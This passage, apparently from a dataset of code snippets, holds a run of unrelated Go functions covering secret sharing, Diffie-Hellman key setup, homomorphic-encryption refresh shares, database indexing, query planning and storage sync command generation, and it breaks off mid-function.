strings.TrimSpace(sourceID)\n\ti[sourceID] = info\n}","func (m *Printer) SetIsShared(value *bool)() {\n err := m.GetBackingStore().Set(\"isShared\", value)\n if err != nil {\n panic(err)\n }\n}","func (c *Client) ShareSecret() {\n\tgen := c.g.Point().Base()\n\trand := c.suite.RandomStream()\n\tsecret1 := c.g.Scalar().Pick(rand)\n\tsecret2 := c.g.Scalar().Pick(rand)\n\tpublic1 := c.g.Point().Mul(secret1, gen)\n\tpublic2 := c.g.Point().Mul(secret2, gen)\n\n\t//generate share secrets via Diffie-Hellman w/ all servers\n\t//one used for masks, one used for one-time pad\n\tcs1 := ClientDH{\n\t\tPublic: MarshalPoint(public1),\n\t\tId: c.id,\n\t}\n\tcs2 := ClientDH{\n\t\tPublic: MarshalPoint(public2),\n\t\tId: c.id,\n\t}\n\n\tmasks := make([][]byte, len(c.servers))\n\tsecrets := make([][]byte, len(c.servers))\n\n\tvar wg sync.WaitGroup\n\tfor i, rpcServer := range c.rpcServers {\n\t\twg.Add(1)\n\t\tgo func(i int, rpcServer *rpc.Client, cs1 ClientDH, cs2 ClientDH) {\n\t\t\tdefer wg.Done()\n\t\t\tservPub1 := make([]byte, SecretSize)\n\t\t\tservPub2 := make([]byte, SecretSize)\n\t\t\tservPub3 := make([]byte, SecretSize)\n\t\t\tcall1 := rpcServer.Go(\"Server.ShareMask\", &cs1, &servPub1, nil)\n\t\t\tcall2 := rpcServer.Go(\"Server.ShareSecret\", &cs2, &servPub2, nil)\n\t\t\tcall3 := rpcServer.Go(\"Server.GetEphKey\", 0, &servPub3, nil)\n\t\t\t<-call1.Done\n\t\t\t<-call2.Done\n\t\t\t<-call3.Done\n\t\t\tmasks[i] = MarshalPoint(c.g.Point().Mul(secret1, UnmarshalPoint(c.g, servPub1)))\n\t\t\t// c.masks[i] = make([]byte, SecretSize)\n\t\t\t// c.masks[i][c.id] = 1\n\t\t\tsecrets[i] = MarshalPoint(c.g.Point().Mul(secret2, UnmarshalPoint(c.g, servPub2)))\n\t\t\t//secrets[i] = make([]byte, SecretSize)\n\t\t\tc.ephKeys[i] = UnmarshalPoint(c.suite, servPub3)\n\t\t}(i, rpcServer, cs1, cs2)\n\t}\n\twg.Wait()\n\n\tfor r := range c.secretss {\n\t\tfor i := range c.secretss[r] {\n\t\t\tif r == 0 {\n\t\t\t\tsha3.ShakeSum256(c.secretss[r][i], secrets[i])\n\t\t\t} else {\n\t\t\t\tsha3.ShakeSum256(c.secretss[r][i], c.secretss[r-1][i])\n\t\t\t}\n\t\t}\n\t}\n\n\tfor r := range c.maskss {\n\t\tfor i := range c.maskss[r] {\n\t\t\tif r == 0 {\n\t\t\t\tsha3.ShakeSum256(c.maskss[r][i], masks[i])\n\t\t\t} else {\n\t\t\t\tsha3.ShakeSum256(c.maskss[r][i], c.maskss[r-1][i])\n\t\t\t}\n\t\t}\n\t}\n\n}","func (scl *SimpleConfigurationLayer) SetSharedConfigurationFile(sharedConfigurationFile *string) {\n\tscl.SharedConfigurationFile = sharedConfigurationFile\n}","func Share(\n\ttrx storage.Transaction,\n\tpreviousTxId merkle.Digest,\n\ttransferTxId merkle.Digest,\n\ttransferBlockNumber uint64,\n\tcurrentOwner *account.Account,\n\tbalance uint64,\n) {\n\n\t// ensure single threaded\n\ttoLock.Lock()\n\tdefer toLock.Unlock()\n\n\t// delete current ownership\n\ttransfer(trx, previousTxId, transferTxId, transferBlockNumber, currentOwner, nil, balance)\n}","func (q *Queue) SetIndexed(repoName string, opts IndexOptions, state indexState) {\n\tq.mu.Lock()\n\titem := q.get(repoName)\n\titem.setIndexState(state)\n\tif state != indexStateFail {\n\t\titem.indexed = reflect.DeepEqual(opts, item.opts)\n\t}\n\tif item.heapIdx >= 0 {\n\t\t// We only update the position in the queue, never add it.\n\t\theap.Fix(&q.pq, item.heapIdx)\n\t}\n\tq.mu.Unlock()\n}","func (gb *CurrentGrantBuilder) Share(n string) GrantExecutable {\n\treturn &CurrentGrantExecutable{\n\t\tgrantName: gb.qualifiedName,\n\t\tgrantType: gb.grantType,\n\t\tgranteeName: n,\n\t\tgranteeType: shareType,\n\t}\n}","func setMppOrBatchCopForTableScan(curPlan PhysicalPlan) {\n\tif ts, ok := curPlan.(*PhysicalTableScan); ok {\n\t\tts.IsMPPOrBatchCop = true\n\t}\n\tchildren := curPlan.Children()\n\tfor _, child := range children {\n\t\tsetMppOrBatchCopForTableScan(child)\n\t}\n}","func TestPGOSingleIndex(t *testing.T) {\n\tfor _, tc := range []struct {\n\t\toriginalIndex int\n\t}{{\n\t\t// The `testdata/pgo/inline/inline_hot.pprof` file is a standard CPU\n\t\t// profile as the runtime would generate. The 0 index contains the\n\t\t// value-type samples and value-unit count. The 1 index contains the\n\t\t// value-type cpu and value-unit nanoseconds. These tests ensure that\n\t\t// the compiler can work with profiles that only have a single index,\n\t\t// but are either samples count or CPU nanoseconds.\n\t\toriginalIndex: 0,\n\t}, {\n\t\toriginalIndex: 1,\n\t}} {\n\t\tt.Run(fmt.Sprintf(\"originalIndex=%d\", tc.originalIndex), func(t *testing.T) {\n\t\t\twd, err := os.Getwd()\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"error getting wd: %v\", err)\n\t\t\t}\n\t\t\tsrcDir := filepath.Join(wd, \"testdata/pgo/inline\")\n\n\t\t\t// Copy the module to a scratch location so we can add a go.mod.\n\t\t\tdir := t.TempDir()\n\n\t\t\toriginalPprofFile, err := os.Open(filepath.Join(srcDir, \"inline_hot.pprof\"))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"error opening inline_hot.pprof: %v\", err)\n\t\t\t}\n\t\t\tdefer originalPprofFile.Close()\n\n\t\t\tp, err := profile.Parse(originalPprofFile)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"error parsing inline_hot.pprof: %v\", err)\n\t\t\t}\n\n\t\t\t// Move the samples count value-type to the 0 index.\n\t\t\tp.SampleType = []*profile.ValueType{p.SampleType[tc.originalIndex]}\n\n\t\t\t// Ensure we only have a single set of sample values.\n\t\t\tfor _, s := range p.Sample {\n\t\t\t\ts.Value = []int64{s.Value[tc.originalIndex]}\n\t\t\t}\n\n\t\t\tmodifiedPprofFile, err := os.Create(filepath.Join(dir, \"inline_hot.pprof\"))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"error creating inline_hot.pprof: %v\", err)\n\t\t\t}\n\t\t\tdefer modifiedPprofFile.Close()\n\n\t\t\tif err := p.Write(modifiedPprofFile); err != nil {\n\t\t\t\tt.Fatalf(\"error writing inline_hot.pprof: %v\", err)\n\t\t\t}\n\n\t\t\tfor _, file := range []string{\"inline_hot.go\", \"inline_hot_test.go\"} {\n\t\t\t\tif err := copyFile(filepath.Join(dir, file), filepath.Join(srcDir, file)); err != nil {\n\t\t\t\t\tt.Fatalf(\"error copying %s: %v\", file, err)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\ttestPGOIntendedInlining(t, dir)\n\t\t})\n\t}\n}","func (obj *Device) SetClipPlane(index uint32, plane [4]float32) Error {\n\tret, _, _ := syscall.Syscall(\n\t\tobj.vtbl.SetClipPlane,\n\t\t3,\n\t\tuintptr(unsafe.Pointer(obj)),\n\t\tuintptr(index),\n\t\tuintptr(unsafe.Pointer(&plane[0])),\n\t)\n\treturn toErr(ret)\n}","func PrepareIndex(creators map[string]Creator, cfg Config, games []GameSource) error {\n\tindexPath := cfg.Filepath\n\tindexFile, err := os.Stat(indexPath)\n\tif !os.IsNotExist(err) && err != nil {\n\t\treturn err\n\t}\n\n\tif indexFile != nil {\n\t\terr = os.RemoveAll(indexPath)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif creator, ok := creators[cfg.Variant]; ok {\n\t\terr = creator.CreateIndex(indexPath, games)\n\t} else {\n\t\terr = fmt.Errorf(\"Creator not found for the config\")\n\t}\n\treturn err\n}","func ResetBoltDBIndexClientWithShipper() {\n\tif boltDBIndexClientWithShipper == nil {\n\t\treturn\n\t}\n\tboltDBIndexClientWithShipper.Stop()\n\tboltDBIndexClientWithShipper = nil\n}","func (refreshProtocol *RefreshProtocol) GenShares(sk *ring.Poly, levelStart, nParties int, ciphertext *ckks.Ciphertext, targetScale float64, crs *ring.Poly, shareDecrypt RefreshShareDecrypt, shareRecrypt RefreshShareRecrypt) {\n\n\tringQ := refreshProtocol.dckksContext.ringQ\n\tsigma := refreshProtocol.dckksContext.params.Sigma()\n\n\tbound := ring.NewUint(ringQ.Modulus[0])\n\tfor i := 1; i < levelStart+1; i++ {\n\t\tbound.Mul(bound, ring.NewUint(ringQ.Modulus[i]))\n\t}\n\n\tbound.Quo(bound, ring.NewUint(uint64(2*nParties)))\n\tboundHalf := new(big.Int).Rsh(bound, 1)\n\n\tvar sign int\n\tfor i := range refreshProtocol.maskBigint {\n\t\trefreshProtocol.maskBigint[i] = ring.RandInt(bound)\n\t\tsign = refreshProtocol.maskBigint[i].Cmp(boundHalf)\n\t\tif sign == 1 || sign == 0 {\n\t\t\trefreshProtocol.maskBigint[i].Sub(refreshProtocol.maskBigint[i], bound)\n\t\t}\n\t}\n\n\t// h0 = mask (at level min)\n\tringQ.SetCoefficientsBigintLvl(levelStart, refreshProtocol.maskBigint, shareDecrypt)\n\n\tinputScaleFlo := ring.NewFloat(ciphertext.Scale(), 256)\n\toutputScaleFlo := ring.NewFloat(targetScale, 256)\n\n\tinputScaleInt := new(big.Int)\n\toutputScaleInt := new(big.Int)\n\n\tinputScaleFlo.Int(inputScaleInt)\n\toutputScaleFlo.Int(outputScaleInt)\n\n\t// Scales the mask by the ratio between the two scales\n\tfor i := range refreshProtocol.maskBigint {\n\t\trefreshProtocol.maskBigint[i].Mul(refreshProtocol.maskBigint[i], outputScaleInt)\n\t\trefreshProtocol.maskBigint[i].Quo(refreshProtocol.maskBigint[i], inputScaleInt)\n\t}\n\n\t// h1 = mask (at level max)\n\tringQ.SetCoefficientsBigint(refreshProtocol.maskBigint, shareRecrypt)\n\n\tfor i := range refreshProtocol.maskBigint {\n\t\trefreshProtocol.maskBigint[i].SetUint64(0)\n\t}\n\n\tringQ.NTTLvl(levelStart, shareDecrypt, shareDecrypt)\n\tringQ.NTT(shareRecrypt, shareRecrypt)\n\n\t// h0 = sk*c1 + mask\n\tringQ.MulCoeffsMontgomeryAndAddLvl(levelStart, sk, ciphertext.Value()[1], shareDecrypt)\n\n\t// h1 = sk*a + mask\n\tringQ.MulCoeffsMontgomeryAndAdd(sk, crs, shareRecrypt)\n\n\t// h0 = sk*c1 + mask + e0\n\trefreshProtocol.gaussianSampler.ReadLvl(levelStart, refreshProtocol.tmp, ringQ, sigma, int(6*sigma))\n\tringQ.NTTLvl(levelStart, refreshProtocol.tmp, refreshProtocol.tmp)\n\tringQ.AddLvl(levelStart, shareDecrypt, refreshProtocol.tmp, shareDecrypt)\n\n\t// h1 = sk*a + mask + e1\n\trefreshProtocol.gaussianSampler.Read(refreshProtocol.tmp, ringQ, sigma, int(6*sigma))\n\tringQ.NTT(refreshProtocol.tmp, refreshProtocol.tmp)\n\tringQ.Add(shareRecrypt, refreshProtocol.tmp, shareRecrypt)\n\n\t// h1 = -sk*c1 - mask - e0\n\tringQ.Neg(shareRecrypt, shareRecrypt)\n\n\trefreshProtocol.tmp.Zero()\n}","func optimizePlan(plan logicalPlan) {\n\tfor _, lp := range plan.Inputs() {\n\t\toptimizePlan(lp)\n\t}\n\n\tthis, ok := plan.(*simpleProjection)\n\tif !ok {\n\t\treturn\n\t}\n\n\tinput, ok := this.input.(*simpleProjection)\n\tif !ok {\n\t\treturn\n\t}\n\n\tfor i, col := range this.eSimpleProj.Cols {\n\t\tthis.eSimpleProj.Cols[i] = input.eSimpleProj.Cols[col]\n\t}\n\tthis.input = input.input\n}","func (d UserData) SetShare(value bool) m.UserData {\n\td.ModelData.Set(models.NewFieldName(\"Share\", \"share\"), value)\n\treturn d\n}","func (m *Group) SetPlanner(value PlannerGroupable)() {\n m.planner = value\n}","func (op *Options) ShareClient(share bool) *Options {\n\top.optFuncs = append(op.optFuncs, func(t *T) {\n\t\tt.shareClient = &share\n\t})\n\treturn op\n}","func (w *worker) addTableIndex(t table.Table, reorgInfo *reorgInfo) error {\n\t// TODO: Support typeAddIndexMergeTmpWorker.\n\tif reorgInfo.Job.ReorgMeta.IsDistReorg && !reorgInfo.mergingTmpIdx {\n\t\tif reorgInfo.ReorgMeta.ReorgTp == model.ReorgTypeLitMerge {\n\t\t\terr := w.executeDistGlobalTask(reorgInfo)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tindexInfo := model.FindIndexInfoByID(t.Meta().Indices, reorgInfo.currElement.ID)\n\t\t\tif indexInfo == nil {\n\t\t\t\treturn errors.New(\"unexpected error, can't find index info\")\n\t\t\t}\n\t\t\tif indexInfo.Unique {\n\t\t\t\tctx := logutil.WithCategory(w.ctx, \"ddl-ingest\")\n\t\t\t\tbc, err := ingest.LitBackCtxMgr.Register(ctx, indexInfo.Unique, reorgInfo.ID, nil)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tdefer ingest.LitBackCtxMgr.Unregister(reorgInfo.ID)\n\t\t\t\treturn bc.CollectRemoteDuplicateRows(indexInfo.ID, t)\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tvar err error\n\tif tbl, ok := t.(table.PartitionedTable); ok {\n\t\tvar finish bool\n\t\tfor !finish {\n\t\t\tp := tbl.GetPartition(reorgInfo.PhysicalTableID)\n\t\t\tif p == nil {\n\t\t\t\treturn dbterror.ErrCancelledDDLJob.GenWithStack(\"Can not find partition id %d for table %d\", reorgInfo.PhysicalTableID, t.Meta().ID)\n\t\t\t}\n\t\t\terr = w.addPhysicalTableIndex(p, reorgInfo)\n\t\t\tif err != nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tw.ddlCtx.mu.RLock()\n\t\t\tw.ddlCtx.mu.hook.OnUpdateReorgInfo(reorgInfo.Job, reorgInfo.PhysicalTableID)\n\t\t\tw.ddlCtx.mu.RUnlock()\n\n\t\t\tfinish, err = updateReorgInfo(w.sessPool, tbl, reorgInfo)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Trace(err)\n\t\t\t}\n\t\t\t// Every time we finish a partition, we update the progress of the job.\n\t\t\tif rc := w.getReorgCtx(reorgInfo.Job.ID); rc != nil {\n\t\t\t\treorgInfo.Job.SetRowCount(rc.getRowCount())\n\t\t\t}\n\t\t}\n\t} else {\n\t\t//nolint:forcetypeassert\n\t\tphyTbl := t.(table.PhysicalTable)\n\t\terr = w.addPhysicalTableIndex(phyTbl, reorgInfo)\n\t}\n\treturn errors.Trace(err)\n}","func UseIndex(designDocument, name string) Parameter {\n\treturn func(pa Parameterizable) {\n\t\tif name == \"\" {\n\t\t\tpa.SetParameter(\"use_index\", designDocument)\n\t\t} else {\n\t\t\tpa.SetParameter(\"use_index\", []string{designDocument, name})\n\t\t}\n\t}\n}","func (s Sync) planRun(\n\tc *cli.Context,\n\tonlySource, onlyDest chan *url.URL,\n\tcommon chan *ObjectPair,\n\tdsturl *url.URL,\n\tstrategy SyncStrategy,\n\tw io.WriteCloser,\n\tisBatch bool,\n) {\n\tdefer w.Close()\n\n\t// Always use raw mode since sync command generates commands\n\t// from raw S3 objects. Otherwise, generated copy command will\n\t// try to expand given source.\n\tdefaultFlags := map[string]interface{}{\n\t\t\"raw\": true,\n\t}\n\n\t// it should wait until both of the child goroutines for onlySource and common channels\n\t// are completed before closing the WriteCloser w to ensure that all URLs are processed.\n\tvar wg sync.WaitGroup\n\n\t// only in source\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\tfor srcurl := range onlySource {\n\t\t\tcurDestURL := generateDestinationURL(srcurl, dsturl, isBatch)\n\t\t\tcommand, err := generateCommand(c, \"cp\", defaultFlags, srcurl, curDestURL)\n\t\t\tif err != nil {\n\t\t\t\tprintDebug(s.op, err, srcurl, curDestURL)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfmt.Fprintln(w, command)\n\t\t}\n\t}()\n\n\t// both in source and destination\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\tfor commonObject := range common {\n\t\t\tsourceObject, destObject := commonObject.src, commonObject.dst\n\t\t\tcurSourceURL, curDestURL := sourceObject.URL, destObject.URL\n\t\t\terr := strategy.ShouldSync(sourceObject, destObject) // check if object should be copied.\n\t\t\tif err != nil {\n\t\t\t\tprintDebug(s.op, err, curSourceURL, curDestURL)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tcommand, err := generateCommand(c, \"cp\", defaultFlags, curSourceURL, curDestURL)\n\t\t\tif err != nil {\n\t\t\t\tprintDebug(s.op, err, curSourceURL, curDestURL)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfmt.Fprintln(w, command)\n\t\t}\n\t}()\n\n\t// only in destination\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\tif s.delete {\n\t\t\t// unfortunately we need to read them all!\n\t\t\t// or rewrite generateCommand function?\n\t\t\tdstURLs := make([]*url.URL, 0, extsortChunkSize)\n\n\t\t\tfor d := range onlyDest {\n\t\t\t\tdstURLs = append(dstURLs, d)\n\t\t\t}\n\n\t\t\tif len(dstURLs) == 0 {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tcommand, err := generateCommand(c, \"rm\", defaultFlags, dstURLs...)\n\t\t\tif err != nil {\n\t\t\t\tprintDebug(s.op, err, dstURLs...)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfmt.Fprintln(w, command)\n\t\t} else {\n\t\t\t// we only need to consume them from the channel so that rest of the objects\n\t\t\t// can be sent to channel.\n\t\t\tfor d := range onlyDest {\n\t\t\t\t_ = d\n\t\t\t}\n\t\t}\n\t}()\n\n\twg.Wait()\n}","func (rb *ShardsRecordBuilder) SegmentsIndexWriterMemory(segmentsindexwritermemory string) *ShardsRecordBuilder {\n\trb.v.SegmentsIndexWriterMemory = &segmentsindexwritermemory\n\treturn rb\n}","func RunShared(ctx context.Context, env subcommands.Env, command []string) error {\n\tctx, cancel := clock.WithTimeout(ctx, lib.DefaultCommandTimeout)\n\tdefer cancel()\n\n\tlogging.Infof(ctx, \"[mmutex] Running command in SHARED mode: %s\", command)\n\treturn lib.RunShared(ctx, env, func(ctx context.Context) error {\n\t\treturn runCommand(ctx, command)\n\t})\n}","func (c ConsistentHash) Plan(members map[string]sarama.ConsumerGroupMemberMetadata, topics map[string][]int32) (sarama.BalanceStrategyPlan, error) {\n\tplan := make(sarama.BalanceStrategyPlan)\n\tmembersList := make([]string, len(members))\n\ti := 0\n\tfor member := range members {\n\t\tmembersList[i] = member\n\t\ti++\n\t}\n\n\tfor topic, partitions := range topics {\n\t\tassignment := consistentHashTopic(membersList, partitions)\n\t\tfor _, member := range membersList {\n\t\t\tif _, ok := plan[member]; !ok {\n\t\t\t\tplan[member] = make(map[string][]int32)\n\t\t\t}\n\t\t\tplan[member][topic] = append(plan[member][topic], assignment[member]...)\n\t\t}\n\t}\n\n\treturn plan, nil\n}","func (l *Loader) SetAttrShared(i Sym, v bool) {\n\tif !l.IsExternal(i) {\n\t\tpanic(fmt.Sprintf(\"tried to set shared attr on non-external symbol %d %s\", i, l.SymName(i)))\n\t}\n\tif v {\n\t\tl.attrShared.Set(l.extIndex(i))\n\t} else {\n\t\tl.attrShared.Unset(l.extIndex(i))\n\t}\n}","func (_Abi *AbiCaller) GuardianSetIndex(opts *bind.CallOpts) (uint32, error) {\n\tvar out []interface{}\n\terr := _Abi.contract.Call(opts, &out, \"guardian_set_index\")\n\n\tif err != nil {\n\t\treturn *new(uint32), err\n\t}\n\n\tout0 := *abi.ConvertType(out[0], new(uint32)).(*uint32)\n\n\treturn out0, err\n\n}","func (m *List) SetSharepointIds(value SharepointIdsable)() {\n m.sharepointIds = value\n}","func (oupq *OrgUnitPositionQuery) ForShare(opts ...sql.LockOption) *OrgUnitPositionQuery {\n\tif oupq.driver.Dialect() == dialect.Postgres {\n\t\toupq.Unique(false)\n\t}\n\toupq.modifiers = append(oupq.modifiers, func(s *sql.Selector) {\n\t\ts.ForShare(opts...)\n\t})\n\treturn oupq\n}","func (t *Table) SetGlobalTs(ts uint64) error {\n\tif _, err := t.indexFd.WriteAt(u64ToBytes(ts), 0); err != nil {\n\t\treturn err\n\t}\n\tif err := fileutil.Fsync(t.indexFd); err != nil {\n\t\treturn err\n\t}\n\tt.globalTs = ts\n\treturn nil\n}","func dataframeResetIndex(_ *starlark.Thread, b *starlark.Builtin, args starlark.Tuple, kwargs []starlark.Tuple) (starlark.Value, error) {\n\tif err := starlark.UnpackArgs(\"reset_index\", args, kwargs); err != nil {\n\t\treturn nil, err\n\t}\n\tself := b.Receiver().(*DataFrame)\n\n\tif self.index == nil {\n\t\treturn self, nil\n\t}\n\n\tnewColumns := append([]string{\"index\"}, self.columns.texts...)\n\tnewBody := make([]Series, 0, self.numCols())\n\n\tnewBody = append(newBody, Series{which: typeObj, valObjs: self.index.texts})\n\tfor _, col := range self.body {\n\t\tnewBody = append(newBody, col)\n\t}\n\n\treturn &DataFrame{\n\t\tcolumns: NewIndex(newColumns, \"\"),\n\t\tbody: newBody,\n\t}, nil\n}","func (res *GitRes) SetAccess(dstIsPublic bool) error {\n\tmeta, err := res.GetMetaX()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif meta.IsPublic == dstIsPublic {\n\t\treturn nil\n\t}\n\n\tsrcIdxGF, srcAppGF := res.GetPublicGitFile()\n\tdstIdx, dstApp := res.GetPrivateKeyPath()\n\n\tif meta.IsPublic == false {\n\t\tsrcIdxGF, srcAppGF = res.GetPrivateGitFile()\n\t\tdstIdx, dstApp = res.GetPublicKeyPath()\n\t}\n\n\tif err := srcAppGF.CopyTo(dstApp); err != nil {\n\t\treturn err\n\t}\n\n\tif err := srcIdxGF.CopyTo(dstIdx); err != nil {\n\t\treturn err\n\t}\n\n\tif derr2 := srcAppGF.Delete(); derr2 != nil {\n\t\tlog.Error(derr2)\n\t}\n\n\tif derr1 := srcIdxGF.Delete(); derr1 != nil {\n\t\tlog.Error(derr1)\n\t}\n\n\tidxLP, _ := res.GetFilePathInCache()\n\tos.Remove(idxLP)\n\t// os.Remove(appLP)\n\n\treturn nil\n}","func (vq *VehicleQuery) ForShare(opts ...sql.LockOption) *VehicleQuery {\n\tif vq.driver.Dialect() == dialect.Postgres {\n\t\tvq.Unique(false)\n\t}\n\tvq.modifiers = append(vq.modifiers, func(s *sql.Selector) {\n\t\ts.ForShare(opts...)\n\t})\n\treturn vq\n}","func SetMapping(ctx context.Context, nat NAT, protocol string, extport, intport int, name string) error {\n\tif err := nat.addPortMapping(protocol, extport, intport, name, mapTimeout); err != nil {\n\t\treturn err\n\t}\n\n\tgo func() {\n\n\t\trefresh := time.NewTimer(mapUpdateInterval)\n\t\tdefer func() {\n\t\t\trefresh.Stop()\n\t\t\tnat.deletePortMapping(protocol, intport)\n\t\t}()\n\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn\n\t\t\tcase <-refresh.C:\n\t\t\t\tif err := nat.addPortMapping(protocol, extport, intport, name, mapTimeout); err != nil {\n\t\t\t\t\tlog.Fatal(err)\n\t\t\t\t}\n\t\t\t\trefresh.Reset(mapUpdateInterval)\n\t\t\t}\n\t\t}\n\n\t}()\n\n\treturn nil\n}","func (o *ExtrasSavedFiltersListParams) SetShared(shared *string) {\n\to.Shared = shared\n}","func (bc *BulkCreate) SetBulkCreditSameday(f float64) *BulkCreate {\n\tbc.mutation.SetBulkCreditSameday(f)\n\treturn bc\n}","func Set(data []uintptr, bitIdx int) {\n\t// Unsigned division by a power-of-2 constant compiles to a right-shift,\n\t// while signed does not due to negative nastiness.\n\tdata[uint(bitIdx)/BitsPerWord] |= 1 << (uint(bitIdx) % BitsPerWord)\n}","func (d *OneToOne) Set(data GenericDataType) {\n\tidx := d.writeIndex % uint64(len(d.buffer))\n\n\tnewBucket := &bucket{\n\t\tdata: data,\n\t\tseq: d.writeIndex,\n\t}\n\td.writeIndex++\n\n\tatomic.StorePointer(&d.buffer[idx], unsafe.Pointer(newBucket))\n}","func (o *Offer) SetPlanByID(plan Plan) {\n\tfor i, p := range o.Definition.Plans {\n\t\tif p.ID == plan.ID {\n\t\t\to.Definition.Plans[i] = plan\n\t\t\treturn\n\t\t}\n\t}\n\to.Definition.Plans = append(o.Definition.Plans, plan)\n}","func (sa *SnapshotArray) Set(index int, val int) {\n\tsa.current[index] = val\n}","func (m *User) SetAssignedPlans(value []AssignedPlanable)() {\n m.assignedPlans = value\n}","func (n Nodes) SetIndex(i int, node *Node)","func Share(mod *big.Int, nPieces int, secret *big.Int) []*big.Int {\n\tif nPieces == 0 {\n\t\tpanic(\"Number of shares must be at least 1\")\n\t} else if nPieces == 1 {\n\t\treturn []*big.Int{secret}\n\t}\n\n\tout := make([]*big.Int, nPieces)\n\n\tacc := new(big.Int)\n\tfor i := 0; i < nPieces-1; i++ {\n\t\tout[i] = utils.RandInt(mod)\n\n\t\tacc.Add(acc, out[i])\n\t}\n\n\tacc.Sub(secret, acc)\n\tacc.Mod(acc, mod)\n\tout[nPieces-1] = acc\n\n\treturn out\n}","func (p *PhysicalIndexReader) SetChildren(children ...PhysicalPlan) {\n\tp.indexPlan = children[0]\n\tp.SetSchema(nil)\n}","func (sv sharedValues) set(source, key string, value interface{}) {\n\tprev := sv[key]\n\tsv[key] = make(map[string]interface{})\n\tfor s, v := range prev {\n\t\tsv[key][s] = v\n\t}\n\n\tsv[key][source] = value\n}","func SetFileIndex(ctx *RequestContext, orm *xorm.Engine, params martini.Params) {\n\tdevID := params[\"device_id\"]\n\tisClean, _ := strconv.ParseBool(\"clean\")\n\n\tvar files []*indexer.FileInfo\n\terr := json.NewDecoder(ctx.req.Body).Decode(&files)\n\tif err != nil {\n\t\tctx.Error(400, err)\n\t\treturn\n\t}\n\n\tif isClean {\n\t\t_, err := orm.Where(\"device_id = ?\", devID).Delete(&indexer.FileInfo{})\n\t\tif err != nil {\n\t\t\tctx.Error(500, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tinsrt := []interface{}{}\n\tfor _, file := range files {\n\t\tfile.DeviceID = devID\n\t\tinsrt = append(insrt, file)\n\t}\n\n\tn, err := orm.Insert(insrt...)\n\tif err != nil {\n\t\tctx.Error(500, err)\n\t\treturn\n\t}\n\n\tctx.Message(201, n)\n}","func (r *ReportTaskRequest) SetPlanId(planId string) {\n r.PlanId = &planId\n}","func (mmSetIndex *mIndexModifierMockSetIndex) Set(f func(ctx context.Context, pn insolar.PulseNumber, index record.Index) (err error)) *IndexModifierMock {\n\tif mmSetIndex.defaultExpectation != nil {\n\t\tmmSetIndex.mock.t.Fatalf(\"Default expectation is already set for the IndexModifier.SetIndex method\")\n\t}\n\n\tif len(mmSetIndex.expectations) > 0 {\n\t\tmmSetIndex.mock.t.Fatalf(\"Some expectations are already set for the IndexModifier.SetIndex method\")\n\t}\n\n\tmmSetIndex.mock.funcSetIndex = f\n\treturn mmSetIndex.mock\n}","func (feature Feature) SetGeometryFieldDirectly(index int, geom Geometry) error {\n\treturn C.OGR_F_SetGeomFieldDirectly(feature.cval, C.int(index), geom.cval).Err()\n}","func (m *ServicePlanInfo) SetServicePlanId(value *string)() {\n m.servicePlanId = value\n}","func (m *VirtualEndpoint) SetFrontLineServicePlans(value []CloudPcFrontLineServicePlanable)() {\n err := m.GetBackingStore().Set(\"frontLineServicePlans\", value)\n if err != nil {\n panic(err)\n }\n}","func (pw *PixelWand) SetIndex(index *IndexPacket) {\n\tC.PixelSetIndex(pw.pw, C.IndexPacket(*index))\n\truntime.KeepAlive(pw)\n}","func (p *tsdbBasedPlanner) Plan(_ context.Context, metasByMinTime []*metadata.Meta, _ chan error, _ any) ([]*metadata.Meta, error) {\n\treturn p.plan(p.noCompBlocksFunc(), metasByMinTime)\n}","func EnableSharedCache(b bool) error {\n\trv := C.sqlite3_enable_shared_cache(btocint(b))\n\tif rv == C.SQLITE_OK {\n\t\treturn nil\n\t}\n\treturn Errno(rv)\n}","func (_Ethdkg *EthdkgTransactor) SubmitKeyShare(opts *bind.TransactOpts, issuer common.Address, key_share_G1 [2]*big.Int, key_share_G1_correctness_proof [2]*big.Int, key_share_G2 [4]*big.Int) (*types.Transaction, error) {\n\treturn _Ethdkg.contract.Transact(opts, \"submit_key_share\", issuer, key_share_G1, key_share_G1_correctness_proof, key_share_G2)\n}","func (s *shareDB) WriteShareRecords(\n\tctx context.Context,\n\tcfgDgst ocrtypes.ConfigDigest,\n\tkeyID [32]byte,\n\tshareRecords []ocr2vrftypes.PersistentShareSetRecord,\n) error {\n\tlggr := s.lggr.With(\n\t\t\"configDigest\", hexutil.Encode(cfgDgst[:]),\n\t\t\"keyID\", hexutil.Encode(keyID[:]))\n\n\tstart := time.Now()\n\tdefer func() {\n\t\tduration := time.Since(start)\n\t\tpromWriteShareRecords.WithLabelValues(s.chainType, s.chainID.String()).Observe(float64(duration))\n\t\t// lggr.Debugw(\"Inserted DKG shares into DB\", \"duration\", duration) // see ocr2vrf code for logs\n\t}()\n\n\tvar named []dkgShare\n\tfor _, record := range shareRecords {\n\t\tif bytes.Equal(record.Hash[:], zeroHash[:]) {\n\t\t\t// see ocr2vrf for logging\n\t\t\t// lggr.Warnw(\"skipping record with zero hash\",\n\t\t\t// \t\"player\", record.Dealer.String(),\n\t\t\t// \t\"hash\", hexutil.Encode(record.Hash[:]),\n\t\t\t// )\n\t\t\tcontinue\n\t\t}\n\n\t\t// XXX: this might be expensive, but is a good sanity 